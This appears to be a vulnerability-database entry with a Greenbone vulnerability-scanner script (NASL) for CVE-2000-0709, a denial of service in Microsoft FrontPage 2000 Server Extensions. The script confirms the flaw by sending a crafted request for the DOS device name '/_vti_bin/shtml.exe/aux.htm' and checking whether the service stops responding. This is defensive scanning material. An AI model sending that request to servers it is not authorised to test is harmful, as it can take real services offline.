CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
High
EPSS
Percentile
99.6%
Microsoft FrontPage Server Extensions is prone to a denial of service (DoS) vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:microsoft:internet_information_services";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.902839");
script_version("2023-10-10T05:05:41+0000");
script_cve_id("CVE-2000-0709");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_tag(name:"last_modification", value:"2023-10-10 05:05:41 +0000 (Tue, 10 Oct 2023)");
script_tag(name:"creation_date", value:"2012-05-24 17:17:17 +0530 (Thu, 24 May 2012)");
script_name("Microsoft FrontPage Server Extensions MS-DOS Device Name DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("Web Servers");
script_dependencies("gb_microsoft_iis_http_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("IIS/installed");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/5124");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1608");
script_xref(name:"URL", value:"http://www.securiteam.com/windowsntfocus/5NP0N0U2AA.html");
script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2000-08/0288.html");
script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to cause denial of service
conditions.");
script_tag(name:"affected", value:"Microsoft FrontPage 2000 Server Extensions 1.1.");
script_tag(name:"insight", value:"The flaw is due to an error in the 'shtml.exe' component, which
allows remote attackers to cause a denial of service in some components
by requesting a URL whose name includes a standard DOS device name.");
script_tag(name:"solution", value:"Upgrade to Microsoft FrontPage 2000 Server Extensions 1.2 or later.");
script_tag(name:"summary", value:"Microsoft FrontPage Server Extensions is prone to a denial of service (DoS) vulnerability.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
url = "/_vti_bin/shtml.exe";
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
if( http_vuln_check( port:port, url:url, check_header:TRUE,
pattern:"FrontPage Server Extensions", extra_check:"Server: Microsoft-IIS" ) ) {
vulnurl = "/_vti_bin/shtml.exe/aux.htm";
req = http_get( item:vulnurl, port:port );
http_send_recv( port:port, data:req );
req = http_get( item:url, port:port );
res = http_send_recv( port:port, data:req );
if( ! res ) {
## FrontPage Server Extensions are not running
report = http_report_vuln_url( port:port, url:vulnurl );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );